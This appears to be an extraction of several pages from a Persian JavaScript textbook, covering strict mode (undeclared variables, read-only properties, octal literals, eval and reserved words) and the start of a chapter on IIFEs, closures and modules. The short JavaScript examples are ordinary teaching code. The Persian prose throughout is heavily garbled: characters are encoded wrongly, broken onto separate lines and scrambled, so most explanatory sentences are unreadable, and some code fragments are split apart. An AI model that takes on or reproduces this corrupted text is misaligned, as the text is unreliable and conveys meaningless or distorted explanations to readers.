»²
ب
Ï
شد
ê±²Õ¸ ó±»²
ز ش
» ·
وع
Á
strict
µ
حال
µ
پ
±²¹º
ا
È
ک
» ³
ر
»
د
Á
¾ا
º»
ز
»
5 ¶
سخ
Á
ر
³ µ
¿ حال
±» ،³²
م·گی
²æÁ
ر
³
ت
»
¾ور
º³ ´²º Ú± ´»²
ج
» ´»²
ب
óº
¸و
²¾Õ±²º ¼ ²¾Ô
، ب
²¸ ¿
م
»
د ک¶ کدها
É
¶ م·ک
Ó
ضا
» ¶
ام
Á²
ب¶ ب
»
ر
µ
ی
Â
¿ قاب
±» ¼ µº» Ï
¶ شد
Ó
ضا
»
د.
ÉÉ
کار ک
µ
پ
±²¹º»¼
جا
Ï
د
ÉÉ
¶ ک
È
ج
²¸
مو¸ور
´»²
ب
µº» ²¾Ô
¼ ب
µº» µ
پ
±²¹º»¼
س· جا
±
و
Á¶
ام
Á²
ر ب
³ ú
ب×ر
³²
ب
Ú±
strict
µ
ز حال
» ϳ
¾فا
º»
´»²
´ها ب
²
گی
µ
خ
º ¿±» Ñ
ا
È
ع
»
ک¶ با
»²
، چ
³²
ر گی
»²
ق
ϳ
¾فا
º» ³
مور
Ï
وش¾¶ شد
Á ´
ام¶ها
Á²
¶ ب
È
ه
ϳ
¾فا
º» Ï
و
ÞÁ
ر
³ µ
پ
±²¹º»¼
جا
Ï
د
ÉÉ
ک
Ʊ
¶ با مو¸ور کامپا
¹É±» ²
ب
ϼÍ
، ع
³
و
à Ï
وش¾¶ شد
Á ´
کدها
ام¶
Á²
¼ ب
Ï
¾ار کد شد
Ã
ا
º ³
و
ÎÔ
ب
î
¶ باع
¹Â
د، ب
±
م·شو
ûÉ
اه
È
آن ه
µ±²±
¼ مد
Ѳ¾É
¶ ¼ ک
æÓ
ز حا
»
·Â¹Ð
ی× م
Á Ï
د
ɱ
ر آ
³ ¶Õº
´ ¸و
»²
، ک¶ ب
³²
هید ک
»
و
à ϳ
یا
Å ²¸¶¾Ó
ا
± µÃ
ا
º ¼ ²¸ Ùß
س
É
م
ƹ
ب¶ ش
»
ر
ش¾¶ باشید.
»
د
Á
115
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/118.html ================================================
ا
± Ä
´ بخ
°
ر با
³
use strict
´ حا¼´ م¾¿
»¶¾
¶ کد رش
¹¸ Ú±
ن
³»³
ر
»²
با ق
strict
µ
الساز´ حال
ÕÓ
.³²±
ذ
Å·
م
Ö
ا
ßÁ» ،Ù±
ر
»³ ²æÁ
´ ک¶ مد
»
scope
“use strict”
;
// your codes in strict mode goes here
ش
»³
هد
»
خو
Á
آن
³²¹ÂÈ
ع
Ï
و
ÞÁ ¼
hoisting
ر
³ ´²
ی
â
¸ا
strict
µ
ز حال
» ϳ
¾فا
º» ¶
ید ک
É
¸وج¶ ک
[
strict
Ü
ی
²
شر
Å
ا
ǽ² ÝÌ
س
³
¼جو
²æÁ ³
مور
Û
¸اب
ϳ¼
د
Þ
م
Æ
ا ک
± Ʊ
ا
Ó Æ
´ ک
»²
الساز´ آن ب
ÕÓ
ر
³ ·
م
»×
ل
»
strict
µ
´ حال
»²
ب
´»²
ب
»
ر
Û
¸اب
Ú±
ز
» ·Ð
ا ح¾· بخ
± ،Ï
وش¾¶ شد
Á ´
ز کدها
» ·Ð
´ بخ
»²
ن ب
»
ح¾· م·¸و
»
¼ ب¶ ر
³
ر
»
د
Á
هد
»
و
à ·
اب
±
رز
» »
ید´ کد ر
Â
ک
ÏÜ»¼ ¿±» Ò
ر
³ ÆÞ
م
í
ا
º»²
ام¶ ب
Á²
ب
ì
پ
º
.³²
ک
³¼
د
Þ
م
µ
¿ حال
±» Ñ
ا
È
ع
»
.³²
ک
function
foo
() {
“use strict”
;
// this code is strict mode
function
bar
() {
// this code is strict mode
}
}
{
“use strict”
;
// this code is strict mode
}
// this code is not strict mode
²±
ز
Ñ
ب¶ مثا
°
د ¼ل· حا
Á
· م·شو
º
ر
²
ب
strict
ب¶ صورت
foo
Û
¸اب
ÆÃ»³ ´
کدها
óÝÓ °
با
Ñ
ر مثا
³
.µº» Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ Ï
وش¾¶ شد
Á
کد
Æ
´ ک
»²
ب
strict
ó±»²
ش
Ñ
ا
È
ع
» ¶
ید ک
É
¸وج¶ ک
116
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/119.html ================================================
“use strict”
;
function
foo
() {
// this code is strict mode
function
bar
() {
// this code is strict mode
}
}
// this code is strict mode
Ï
آمد
Ä
ی
Å
¾ان
±»²
ب
Ñ»
و
º ¿±» °
ا
Ⱦ
ح
» ،Ù
ش¾ی
»³
strict
µ
حال
Ï
ربار
³ ¶
· ک
±
ها
µÎÞ
ز ص
»
د
Õ
ب
°
حا
·±
´ها
²
گی
µ
خ
º ¶
چ
µ
پ
±²¹º»¼
¼ مو¸ور جا
µº» ´³
ر
»
چ¶ مو
Æ
شام
µ
¿ حال
±»
ز
» ϳ
¾فا
º» ¶
ک
槯
؟
³²
ی
Ì
می
²æÁ
ر
³ ¶
ام
Á²
´ ب
»²
ب
آن
Ñ
ا
È
ع
»
ز
»
د
Õ
ب
»
ر
یاز
Á Û
¸اب
ÆÃ»³ ·¾
¼ق
Ñ
´ مثا
»²
باشد، ب
²
م¾÷ی
ê±²Õ¸
scope
د
Á»
م·¸و
ç
¿ موضو
±» ´»²
ب
ϳ
ا
º ·
مثال
ر آن
³ Ù
ی
ݾ
مس
²
ن آن م¾÷ی
³²
ک
ê±²Õ¸
بد¼ن
Ù
هی
»
¼ بخو
Ù
ش¾¶ باشی
»³ ²
م¾÷ی
Ú±
ز
» ϳ
¾فا
º» ¶
ب
ش¾¶
»³ Ù
ی
Á»
م·¸و
²±
ز
ƹ
ب¶ ش
»
ر
µ
¿ حال
±» Ñ
، مثا
µÓ²
گ
Ù
هی
»
و
Ã
Reference
ا´
äà ٱױ²
ب
ϳ»³
باشی
function
foo
() {
“use strict”
;
// turn on strict mode
data =
1
;
// `var` missing, ReferenceError
}
foo();
[
strict
ت
Ä
حا
ŶÇÂ
م
Û÷²¶Ð
آنها،
µ±
رعا
Ö
ر صورت عد
³ ¶
ک
³
¾¶ شو
Ó²
گ
²æÁ
ر
³
د
±
با
strict
µ
ر حال
³ ´³
د
Õ¾
ی¿ م
Á»
قو
¿±»
ر
³ .³²
ک
Ù
هی
»
و
à µÓ
ا
±
ر
³ µ
پ
±²¹º»¼
کد جا
Ï
د
ÉÉ
ک
»²
ج
» Ù¾
یس
º
ا
± ²
¼رگ
²
م
ò²
ز ط
» »
· ر
±
اها
äÃ
ð
¸وضی
»
ن آنها ر
³»³ ý
ز ر
» ´²
وگی
Â
¶ ج
ݱ²
¼ ط
³²
ک
Ù
هی
»
و
à ·º
ر
²
ب
Ù
باه
»
ی¿ ر
Á»
ز آن قو
» ·Ã²
ب
Ä
بخ
هی
³·
م
117
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/12.html ================================================
³´µ
بخش
[
strict
ت
Ä
و حا
hoisting
110
....................................................................................
)Hoisting( ¼¸
´ش
²·´²
ب
112
......................................................................................................
hoisting
¶±
لو
À´
115
.............................................................................
)Áº´²½
سخ¶ گ
(
strict
حال¶
116
...............................................................................
strict
à±´²
ش
Û
ا
»¿´ á
سط
117
.............................................................................
strict
حال¶
Û
و
»Ï
½¼ م
º´
و
Ò
118
..........................................................................
ه
¹Ïº ³±²
تع
²½
´س¸فاده ´ز م¸غ
118
..................................................................................
Ú
ا تاب
± ²½
دن م¸غ
²
ک
Ù
حذ
118
.........................................................................
Ä
ا
º ÂÈ ¾
د
À
ر
À ²¸
´س¸فاده ´ز پار´م
119
............................................................
ی
º¹º´
و
É à
·ق
property
Ó±
وش¸¼ د´ده در
º
120
....................................................................................
Û
ک¸ا
ُ ´ ¾
ا
Ȳ½
م¸غ
³±²
تع
120
...........................................................
ا·¶
±
اب× در
Ò à
·ق
property
Ó±
وش¸¼ در
º
121
..........................................................................
¾¹½Ð
ک
Ê
ا
»Ð
ی ک
ɲ
´س¸فاده ´ز ب
121
.....................................................................
²½
م¸غ
³±²
´¾ تع
²
ب
eval
´س¸فاده ´ز
³
بخش ¶فت
[
¸ا
Å
¸ا و ماژو
closure، IIFE
124
..........................................................
)IIFEs
(
ه
¹
´ زده ش
¹
ص
ÁÐ
·اص
°
ب
Ú
تو´ب
Ê´
ار
Ç¿
125
........................................................................................
IIFE
Ê´
ار
Ç¿
¸ار
É
سا
128
.................................................................
IIFE
¾´²
ب
â
ا
É ¾
ا
Ȳ¸
´س¸فاده ´ز کار´ک
129
...............................................................................
IIFE
Ê´
ار
Ç¿ Ú
گذ´ر¾ تو´ب
Ä
ا
º
130
...........................................................................
IIFE
با
Þ
ساز¾ سور
ÂØ
ح
Â
ک
131
......................................................................................
²
رگ
À²
م
²½ã ¾
ا
Èà½Õ
م
133
.................................................................................................
ا
È
Closure
================================================ FILE: HTML/120.html ================================================
ه
¹Ïº ³±²
تع
²½
´س¸فاده ´ز م¸غ
ج¶
»
ا مو
äÃ
ا با
È
ام¶ ش
Á²
د، ب
±» ϳ²¹Á ·Ó²Õ
م
ÍÎ
ید ک¶ ق
É
ک
ϳ
¾فا
º» ´²
ز م¾÷ی
» ²
گ
» ،
strict
µ
ر حال
³
ϳ
¾فا
º» ¼
د
ɾ
هس
²
م¾÷ی
Ù
ها ه
object
ک¶
µº» ¿±»
ید
É
ک
á
مو
»²Ó
د
±
ا
ÎÁ ¶
´ ک
»¶¾¹Á ،
هد شد
»
و
Ã
.³»³
هد
»
و
à ìÁ²Ó
ا´ ر
äÃ
شدن
ê±²Õ¸
ی× بد¼ن
Á
آنها
“use strict”
;
// This will cause an error
x = {
name:
“Ali”
,
family:
“Naeimi”
};
Ú
ا تاب
± ²½
دن م¸غ
²
ک
Ù
حذ
یس¾ید
Á
ر
³
ا قا
È
· ش
ÉÕ± ،³»³
هد
»
و
Ã
ا
äà ²
ا م¾÷ی
±
object
Ú±
ن
³²
ک
ò
، حذ
strict
µ
ر حال
³
ید، مثا
É
ک
ò
حذ
»
ر
ϳ²
ک
ê±²Õ¸ ¶
´ ک
²
م¾÷ی
“use strict”
;
var
age =
30
;
delete
age;
// This will cause an error
:槯
ر
»²
ق
²
ی× ب
Á Û
ب
»
¸و
Ï
ربار
³ ³
¿ مور
±»
“use strict”
;
function
sum
(
a, b
) {
// code
};
delete
sum;
// This will cause an error
Ä
ا
º ÂÈ ¾
د
À
ر
À ²¸
´س¸فاده ´ز پار´م
´³¼
¼ ¼ر
³
یس¾ید
Á
از
ß
م·باشد، م
À
خ
Ð
م
scope
´»
ر
»³ ¶
، ک
À
خ
Ð
م
Ï
شد
ê±²Õ¸ Û
¸اب
Ú± ´»²
ب
118
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/121.html ================================================
ش¾¶ باشید. مثا
»³
سان
¹± ´
ها
Ö
ا
Á
، با
²¾
م
»
ار
Å
ا
±
“use strict”
;
// SyntaxError: duplicate formal argument a
function
average
(
a, b, a
) { }
ی
º¹º´
و
É à
·ق
property
Ó±
وش¸¼ د´ده در
º
Ö
ا
ßÁ» ·
ف
¾
مخ
ø²
ز ط
»
ها
property
ر
³ ϳ»³ ¿¾
وش
Á
ها
object
ر
³ ،
ان هس¾ید
±²
ر ج
³ ¶
ور ک
äÁ
ا
È
ه
object
Ö
ا
Á
ز
»
د
Õ
ب
).(
ت
»³ Ú±
ن
³»³
ر
»²
ک¶ با ق
槯
¿ صورت
±» ¶
ب
Ö
و
º²
¼ م
ϳ
ا
º á¼
، ر
³
م·شو
ر میدهی
»²
ق
Ù
سی
±
و
É
ر آن ب
³ Ù
هی
»
و
÷
ر´ ک¶ م
»
د
Ý
م
²
ب
»²
وش¾¶ ¼ ب
Á »
ر
property
Ùº»
var
user = {};
// set name of user
user.name =
“ali”
;
·ها´
º²¾º³ ê±²Õ¸
ان
¹
م
» defineProperty
ز م¾د
» ϳ
¾فا
º» Ù±»Ï³²
ک
Ï
شار
» ²¸Ä
ی
Å ¶
ور ک
äÁ
ا
È
ه
strict
µ
ر حال
³
ا
ÔÁ
شدن آ
Ѳ¾É
ک¶ ک
³
م·آ¼ر
Ù
ه
»²Ó »
ر
object
ز
» Ë
ا
à ·
ژگ
±¼ Ú± ´¼
ر
²
ب
Ï»
لخو
³
ام¶
Á²
باشد، ب
descriptor
با
Ï
شد
ê±²Õ¸ ¿
ی
Á»
قو
ă
اق
Á
ز کد
» Ä
بخ
Ú± ¶
ر صور¸· ک
³ .
هد
³·
م
ý
ر
.³»³
هد
»
و
Ã
ا
äÃ
ز
»
¿ کار
±» ´»²
، ب
Ù
ی
É
ک
µÎâ
ب¶ آن
Ê
بو
²
م
object
ر
³ »
´ ر
²
¶ کارب
º
ا
É
ش
Ù
هی
»
و
÷
ید م
É
ک
þ²Ó
سی
±
و
Á·
م
»
ر
²±
¶ کد ز
¹¸ ¼ Ù
ی
É
م·ک
ϳ
¾فا
º» °
ر با
³ Ï
شد
²
ک
è Ú
ی
ɹ¸
var
user = {};
Object
.defineProperty(user,
“id”
, {
value:
12
,
writable:
false
});
»
ر
writable
¶É±×
¼ گ
Ù
ی
É
م·ک
ϲ
ی
Ãè
id
Ö
ا
Á ¶
بوط¶ ب
²
م
property
ر
³ »
ر
²
¶ کارب
º
ا
É
ما ش
°
¶ کد با
¹¸
ر
³
·باشد.
ÈÁ ¿¾
وش
Á Æ
قاب
property
¿±» ¶
ک
Ù±»¶¾
گف
²
¼رگ
²
، ب¶ م
Ù
ی
æÉ¸ ¿±»
، با
Ù
ی
É
م·ک
false
´ آن
»²
ب
²
کارب
object
´»²
ام¶ ب
Á²
ز ب
» ²Ì±³ ·±
ر جا
³ Ù
هی
»
¼ بخو
Ù
باشی
ϳ²
ک
Ñ
ا
ÕÓ »
ر
strict
µ
حال
²
گ
» Ñ
حا
.³»³
هد
»
و
Ã
ا
äà ¶
ام
Á²
، ب
Ù
هی
³ À
ی
à
¸خ
»
´ ر
²Ì±³ ¶º
ا
É
ش
119
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/122.html ================================================
“use strict”
;
user.id =
15
;
//
TypeError: “id” is read-only
Û
ک¸ا
ُ
ا¾ ´
Ȳ½
م¸غ
³±²
تع
گف¾¶
Ñ
ک¾ا
»
ک¶ ب¶ آنها
Ù
ی
É
ک
ϳ
¾فا
º» ¶
ام
Á²
ر ب
³ 8 ´
ا
ÉÎ
ر م
³ »
´ ر
³»
عد
» µº» Ö
ز
° ³
ر
»
· مو
ò
ر ب
³
µ
ر حال
³ ،
د
Á
م·شو
ç¼²
ش
0
د ¼ل· با
ɾ
´ هس
³
´ عد
²±³
ا
Ý
ها، م
Ñ
ک¾ا
» µ
ماهی
²
. بخاط
³
م·شو
´ مثا
»²
د، ب
É
ه
³·
ا م
äà ³
ر
»
¿ مو
±»
strict
“use strict”
;
// This will cause an error
var
octal =
010
;
ا
äÃ
¸ا
Ù
ی
É
م·ک
Ò
ر
³ ×
ی
Á
o
Ú± 0
ز
»
د
Õ
ک¶ ب
Ù
ی
É
م·ک
ÆÈ
¿ صورت ع
±» ¶
ب
³
ر
»
¿ مو
±» ê±²Õ¸ ´»²
ب
ی
É
از´ م·ک
ºÏ³
یا
Å ²±
ز
ƹ
با ب¶ ش
»
ا ر
äÃ
بد¼ن
°
کد با
Ñ
، مثا
Ù
ش¾¶ باشی
»
د
Á
“use strict”
;
var
octal =
0o10
;
ا·¶
±
اب× در
Ò à
·ق
property
Ó±
وش¸¼ در
º
وش¾¿
Á ¶
از ب
ß
، م
Ù
باشی
ϳ²
ک
ê±²Õ¸
get
ç
و
Á
ز
» »
ر
property
ا
± Û
¸اب
Ú± ²
گ
»
ها
object
ê±²Õ¸
ر
³
. مثا
³»³
هد
»
و
Ã
ا
äÃ
strict
µ
ر حال
³ ¿¾
وش
Á
ر صورت
³ ¼ Ù
یس¾ی
Á
د
Â
ی
Ó ¿±»
ر
³
“use strict”
;
var
user = {
get info() {
return
{
id:
1
,
name: ‘Ashkan’
};
}
};
user.info =
{}
;
// This will cause an error
120
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/123.html ================================================
¾¹½Ð
ک
Ê
ا
»Ð
ی ک
ɲ
´س¸فاده ´ز ب
µ
پ
±²¹º»¼
س· جا
±
و
Á¶
ام
Á²
´ زبان ب
»²
ب
Ï
ید´ ک¶ ب¶ صورت رزر¼ شد
Â
ات ک
ÈÂ
· ک
ñÕ
ز ب
» ϳ
¾فا
º»
ر
³ ¶
ک
undefined , eval , arguments ²
ی
æÁ ·¸
ا
ÈÂ
. ک
µ
یس
Á
از
ß
م
²
م¾÷ی
ê±²Õ¸ ´»²
د، ب
ɾ
هس
شد. مثا
Ù
هی
»
و
à ¶
ج
»
ا مو
äÃ
ها با
Ä
بخ
²±
ا
º
ا
± ¼ ²
م¾÷ی
ê±²Õ¸ ´»²
ز آنها ب
» ϳ
¾فا
º»
صورت
“use strict”
;
var
eval
=
3.14
;
// This will cause an error
var
arguments
=
3.14
;
// This will cause an error
²½
م¸غ
³±²
´¾ تع
²
ب
eval
´س¸فاده ´ز
ن
»
و
É
¼ ب¶ ع
ϳ²
ک
µÓ
ا
±
ر
³ »
ر
string
´³¼
¼ر
Ú± ¶
ک
³
ر
»³ ³
¼جو
eval
Ö
ا
Á ¶
· ب
Õ
¸اب
µ
پ
±²¹º»¼
ر جا
³
Æ
لی
³ ¶
ید ب
ɹÁ ϳ
¾فا
º» ³
ا
±
ز
eval
Û
ز ¸اب
» Ù
ی
É
م·ک
³
ا
ÔÉÐ
ی
Å ¶¾Î
ل
» ،
د
É
م·ک
»²
ج
» ¶
ام
Á²
ر ب
³
کد
í
ور
º
باشد.
µ
ی
É
م
» Ï
د
ÉÉ
ک
ăÝÁ µº» ¿¹È
ب¶ کد م
string
Ï
د
ÉÉ
ک
Ʊ
د
θ µ
ماهی
·باشد، مثا
ÈÁ
از
ß
م
²
م¾÷ی
ê±²Õ¸ ´»²
ب
eval
ز
» ϳ
¾فا
º» ·¾
ی
É
م
» Ʊ°³ ¶
ب
strict
µ
ر حال
³
“use strict”
;
// This will cause an error
eval
(
“var variable = 2”
);
alert (
variable
);
µ
ی
È
ه
» ×Ç
ب¶ آن حا
Ï
شار
» Ä
¿ بخ
±» ´
ا
Ô¾Á»
ر
³ ¶
د ک
±» Ï
´ شد
»¶¾¹Á ¶
م¾وج
ÆàÓ ¿±»
ر
³
ً
°
ا
Ⱦ
ح
»
از باشد
ºÆ¹Ð
ا م
È
ام¶ ش
Á²
´ ب
»²
د ب
Á»
، م·¸و
³
ر
»³ ¶
· ک
±
ا
±»×
م
Ö
ا
ȸ
با
strict
µ
الساز´ حال
ÕÓ ،µº»
ید
É
ی
Î
· ب
±
اها
äÃ
ن
»
و
É
ب¶ ع
»
اها ر
äà ¿±» ¶¾Î
ل
» ،³
آ¼ر
³
ام¶ بوجو
Á²
ز ب
» ·±
ها
µÈ
ر قس
³ »
· ر
±
اها
äà ¼
´»Ïܼ²Å ²
ر ه
³ ¶Á°
و
ß
ب¶ صورت ع
µ
یس
Á Ö
ز
° ìÅ ،
د
±
ن آنها م·شد
³»³ ý
ر
ÛÁ
ما
µ
س
±
ک¶ م·با
ϳ²
ک
ÛÓ
ر
»
ام¶ ر
Á²
ال· ب
Ⱦ
ح
» ´
اها
äà Ö
ا
ȸ ·¾
¸س
ó
ی
Þ
ر م
³ »
ب¾د
» ،
ید
É
¶ ک
Ó
ضا
» »
ر
µ
¿ حال
±»
ا
Õ±²º
ز
» ¼
ید
É
ک
ÆÝ¾É
م
³
و
à ·Â
ص
» í
ور
º ¶
ب
»
ت کد ر
»²
¸÷یی
ì
پ
º
ید
É
ک
µ
¸س
»
ر
ê¾
ها´ مخ
Ä
¼ بخ
د.
±²Î
لذت ب
³
و
à ¶
ام
Á²
¶ کدها´ ب
É
ی
Ô
¼ ب
Û±²º ´»²
ج
»
121
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/124.html ================================================
¶Ó
ضا
» ³
و
à ¶
ام
Á²
کدها´ ب
í
ور
º ¶
ها ب
Ïܼ²Å ç¼²
´ ش
»
ب¾د
»
ر
³ »
ر
strict
µ
ید حال
É
· ک
Õº Ï
ر
»
و
È
ه
µ
´ حال
»²
ب
Ï
شد
ï²ä
ات م
¹Á µ±
رعا
Ö
عد
²
بخاط
µº» ¿¹È
´ ک¶ م
³
د
Õ¾
ت م
͹Ð
ز م
»
ید ¸ا
É
ک
´»²
ب
ê¾
ها´ مخ
µ
ها ¼ حال
Ä
· بخ
º
ر
²
یاز´ ب¶ ب
Á é
¸ی
²¸ ¿±» ¶
مان باشید. ب
»
ر
³ ،
هد
³ ý
ر
strict
ش
»³
هید
»
خو
Á ¶
ام
Á²
د ب¶ ب
±
جد
ó±»²
ش
Ñ
ا
È
ع
»
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
هید.
³ ï²
· ش
±»²
ج
» ´
ر کدها
³ »
آن ر
³²¹ÂÈ
¼ ع
ϳ²
ک
²æÁ
ار
Ô
ظ
»
hoisting
³
ر مور
³
±
ا باشید.
É
آش
strict
µ
حال
ê±²Õ¸
با
±
هید.
³ ï²
ش
»
ر
strict
µ
ر حال
³
hoisting
ت
»²
ی
â
¸ا
±
هید.
³ ¶Ç»
ر
»
strict mode
ز
» ϳ
¾فا
º» ¶
´ ¸وجی
»²
· ب
±°³
±
ید.
É
ک
»²
ج
» ¼ ·
ح
»²
ط
strict
µ
ر حال
³ »
ر
³
و
à ·¸
ام¶ها´ آ
Á²
ید ب
Á»
ب¾و
±
¿È
ید ک¶ ض
É
´ ¸ولید ک
»¶
ام
Á²
ید ب
Á»
ا باشید ¼ ب¾و
É
آش
strict
µ
ر حال
³
ر
»³ ƹÐ
م
ë±³
ا
à
با م
ش¾¶ باشد.
»
د
Á »
ر ر
»³
ا
äà ´
ز کدها
» Ö»
کد
å
هی
³
و
à ê±
¼ظا
Ö
ا
ßÁ»
122
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/125.html ================================================
³
بخش ¶فت
·ا
È
·ا و ماژو
closure، IIFE
ا¶½ا¼ بخش:
IIFE
آش¸ای· با
IIFE
Á
ا
֮
ویژ
IIFE
º½ Ü
خا
Á
ا
Ã
ک¼ر
µº
کا
IIFE
ز
µ ½
س¼فا
µ Ý
ی
Ù½
ا
Ã
closure
آش¸ای· با
ا
à Þ
و
ß
آش¸ای· با ما
ا
à Þ
و
ß
ما
º½
publicAPI
Þ
و
ß
ص· ما
²à
خ
Á
ا
Ã
ر
È
و م¼غ
Ì
ب
µ²À
ا
à Þ
و
ß
م×¼ل¾ ما
Á
رمت ب¸د
Ï Çº½ ·
نای
µ²À
module loader , bundler
آش¸ای· با
================================================ FILE: HTML/126.html ================================================
Ö
ا
Á ¶
ور´ ب
ÔÐ
ن م
²¾Å ³
ر مور
³
ها
ѼÜ
ب¶ ما
Ê
بو
²
م
îÞÎ
م
ç¼²
ز ش
» Ä
ی
Å ¼ Ä
¿ بخ
±» ´»
ب¾د
»
ر
³
ϳ²
´ ک
²
پ
º µ
ی
Ų¹º» »¼
جا
³
ر مور
³ ¶Õ
ال
ä
با م
»
مد¸· ر
²
گ
»
ا
Õä
ک¶ ق
³
و
ÈÁ Ù
هی
»
و
à µÎÞ
ص
IIFE
ب¶
Ùß
س
É
¾ار م
Ã
ا
º Ú±
ن
²¾Å ¿±» ،
د
±»Ï³²
ک
Ï
اهد
Ð
ا م
± ¶¾
وش
Á
ن
²¾Å ¿±»
ز
» ϳ
¾فا
º»
· با
±
باشید کدها
µ
با ماهی
²¾Ð
م¶ بی
»³»
ر
³ ،
´ م·باشد
³²
¼ بسیار کارب
Ë
ا
à ´
ا
±»×
´ م
»
ر
»³ ¶
هد ک
³·
ز کد م
» ·Ð
بخ
شد.
Ù
هی
»
و
Ã
ا
É
آن آش
³²
کارک
Ï
و
ÞÁ ¼
ن
²¾Å ¿±»
[
)
IIFEs( µ¹
ش
µ
زد
²¹
فاصله ص
°³ À³²¶Á »²¼
½با
»²
ج
» ´»¶Á
گا
»
ها´ جد
ØÍ
ر ب
³ ¶
ام
Á²
ک¶ کدها´ ب
Ù
¾ی
Ó²
گ
³
ا
±
ها
ØÍ
ب¶ ب
Ê
بو
²
م
Ä
ر بخ
³
Ë
و
à
مخ
²±³
ا
Ý
ها ¼ م
²
´ م¾÷ی
»
ر
»³ ·ÂÞ
د ب¶ صورت م
ÉÁ»
ها م·¸و
ØÍ
¿ ب
±»
ز
» Ö»
کد
²
د ¼ ه
Á
م·شو
´»²
· ب
±
ها
ØÍ
ز ب
» ×
ی
Á Û
ب
»
¸و
³
و
à ¶
ک
Ù
ی
Á»³·
¼ م
槯
ر
»²
ق
²
ی× ب
Á Û
ب
»
ر ¸و
³ µ
¿ حال
±» ،
د
É
باش
³
و
à ¶
ب
د.
ÉÉ
م·ک
ϳ
¾فا
º» Û
¶ ¸اب
Á
ب¶ بد
Ë
و
à
´ کدها´ مخ
»²
ج
»
µ
س
±
ام¶ م·با
Á²
ز ب
» ·Ð
ر بخ
³ ،Ï
شد
ê±²Õ¸ Û
ب
»
¸و
Ù±³²¹
· می
º
ر
²
ن ب
°» ¶
· ک¶ ¸ا ب
±
ها
Ñ
ر مثا
³
»²
ج
» Û
´ آن ¸اب
»²
ب
³
موجو
scope
با
»
ر
Û
¶ ¸اب
Á
بد
ÆÃ»³ ´
د، ¼ کدها
Á
شو
»²
ج
»
د ¸ا
Á
م·شد
ϳ
ز
»
صد
د. مثا
ÉÉ
ک
// we are sure to call this fn
function
foo
(){
var
a =
“MyTest”
;
console
.log(a);
}
// call fn
foo();
·È
! ک
Ù
ی
Á×
ب
ı»
صد
Ù
هی
»
بخو
ê±²Õ¸
ز
»
د
Õ
¶ ب
Â
اص
ÓÍ
¼ ب
Ù
ی
É
ک
ê±²Õ¸ ·Õ
¸اب
µº» ¿¹È
ما م
»
؟
Ù
ی
Á×
ب
ı»
صد
Ù
¶ ه
æÞ
ان ل
È
ک¶ ه
Ù
ی
É
ک
ê±²Õ¸ ·Õ
¸اب
»²
چ
ìÅ
د؟
º
م·ر
²æÁ ¶
ب
é
ی
ß
ع
ϳ
¾فا
º» Ï
و
ÞÁ
با
ÍÕÓ
، چون
µº» ·Õ
ی
Î
ط
µº» Ï
شد
Ñ»
و
º
¾ان
±»²
· ب
É
ی
É
¿ چ
±» ³
ر
»
مو
°
ا
Ⱦ
ح
» ¶¹É±»
د
É
م·ک
³
ا
ß±»
ان
ȱ»²
ب
IIFE
ک¶
»
· ر
±
ها
µ
ی
Â
¼ قاب
Ù±» Ï
د
ÐÁ
ا
É
آش
1
IIFE
ت
»
ار
Î
ز ع
» ´²
گی
ϲÔ
ا´ ب
±»×
¼ م
.Ù±»Ï³»
د
Á ð
¸وضی
»
ر
1 Immediately invoked function expression
124
²º
ژول
²
و م
²º
closure ، IIFE
================================================ FILE: HTML/127.html ================================================
[
IIFE »²¼
ساخ¿ا¼ ½با
Û
ان موق
È
ر ه
³ ¼ Ù
ی
É
م·ک
ê±²Õ¸ »
· ر
Õ
ت ما ¸اب
»
ار
Î
ع
ç
و
Á ¿±»
ر
³
شد
ϳ»³ ð
ور ک¶ ¸وضی
äÁ
ا
È
ه
:µº» ²±
ز
ƹ
ت ب¶ ش
»
ار
Î
¿ ع
±» ·Â
¾ار ک
Ã
ا
º ،Ù
ی
Á×
می
»
شد صد
ê±²Õ¸ ¶
ک
(
function
(){
// code
})();
ر
»²
با ق
ì
پ
º ¼ Ù±» ϳ»³
ر
»²
¾× باز ¼ بس¾¶ ق
Á»²Å Ú± ÆÃ»³ »
ر
³
و
à ²æÁ ³
مور
Û
ید ما ¸اب
É
ک
µ
ق
³ ²
گ
»
´³¼
ن ¼ر
»
و
É
ر´ ب¶ ع
»
د
Ý
ما م
²æÁ ³
مور
Û
¸اب
²
گ
» ¶¾Î
ل
» ،Ù±»Ï³²
· ک
Á»
و
û²Ó »
ر
Û
آن ¸اب
) ( Ú±
ن
³»³
، مثا
Ù
هی
³ í
ا
Å Û
ب¶ ¸اب
Ù
س¾ی
Á»
م·¸و
µÈ
¿ قس
±»
ر
³ ،µÓ²
م·گ
// Function in IIFE format
(
function
produceCounter
(
start
){
var
sum = start +
50
;
console
.log(sum);
})(
10
);
// console = 60
start
´³¼
¼ر
Ú± ¶
ک
Ù±»Ï³²
ک
»²
ج
»
IIFE
ب¶ صورت
»
ر
produceCounter
Û
ما ¸اب
°
¶ کد با
¹¸
ر
³
ید
É
.¸وج¶ ک
³
م·شو
ö
چا
60
ر
»
د
Ý
م
Ñ
سو
É
ر ک
³ ¼ Ï
شد
»²
ج
» Û
¶ ¸اب
Â
اص
ÓÍ
ب
°
´ کد با
»²
ج
»
، با
³²
ی
Ì
می
ی×
Á Û
ز ¸اب
»
¼ن
²
ر بی
³ ²
گ
» ¼ µº» Ï
شد
ê±²Õ¸ Û
´ ¸اب
»²
· ب
ÂÞ
ب¶ صورت م
sum
²
م¾÷ی
°
ر کد با
³ ¶
ک
مثا
µ
ش
»³
هد
»
خو
Á Û
¸اب
³²¹ÂÈ
ر ع
³ ´²
ی
â
باشد، ¸ا
Ï
شد
ê±²Õ¸
sum
Ö
ا
Á ¶
´ ب
²
م¾÷ی
var
sum =
12
;
(
function
produceCounter
(
start
){
var
sum = start +
50
;
console
.log(sum);
// 60
})(
10
);
console
.log(sum);
// 12
125
Ϳָ ØÉ³
================================================ FILE: HTML/128.html ================================================
¶æÞ
ان ل
È
ر ه
³ ¼
د
Á
ر
»
د
Á »
ر
³
د
ß
ن م
³
ز
»
صد
µ
ی
Â
د قاب
Á»Ï
شد
ê±²Õ¸
